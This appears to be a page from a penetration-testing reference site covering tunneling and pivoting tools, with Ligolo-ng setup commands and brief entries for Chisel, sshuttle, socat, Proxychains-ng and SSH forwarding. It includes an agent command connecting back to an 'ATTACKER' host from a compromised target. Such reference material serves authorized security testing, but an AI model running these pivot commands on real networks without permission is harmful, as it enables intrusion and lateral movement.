Tunneling & Pivoting

Ligolo-ng

Advanced pivoting tool using a TUN interface — no SOCKS headaches.

intermediate

Linux

Windows

Lateral Movement

Post-Exploitation

Authorized testing only. Practice on systems you own, isolated labs, or targets with written permission. Unauthorized access is illegal.

Complex multi-network pivots where native routing is nicer than SOCKS.

Start proxy; connect agent from target; start tunnel; add routes.

Modern pivot UX; excellent for advanced lab topologies.

Commands & usage

sudo ip tuntap add user $USER mode tun ligolo

sudo ip link set ligolo up

./proxy -selfcert

./agent -connect ATTACKER:11601 -ignore-cert

Commands are educational examples. Adapt hosts, paths, and rates to your authorized scope.

Chisel

Fast TCP/UDP tunnel over HTTP secured with SSH-like crypto.

sshuttle

Transparent proxy VPN over SSH without needing admin on remote.

socat

Multipurpose relay for bidirectional data transfer (sockets, files, exec).

Proxychains-ng

Force TCP connections from dynamic tools through a proxy/SOCKS.

SSH Tunneling

Local/remote/dynamic port forwarding built into SSH.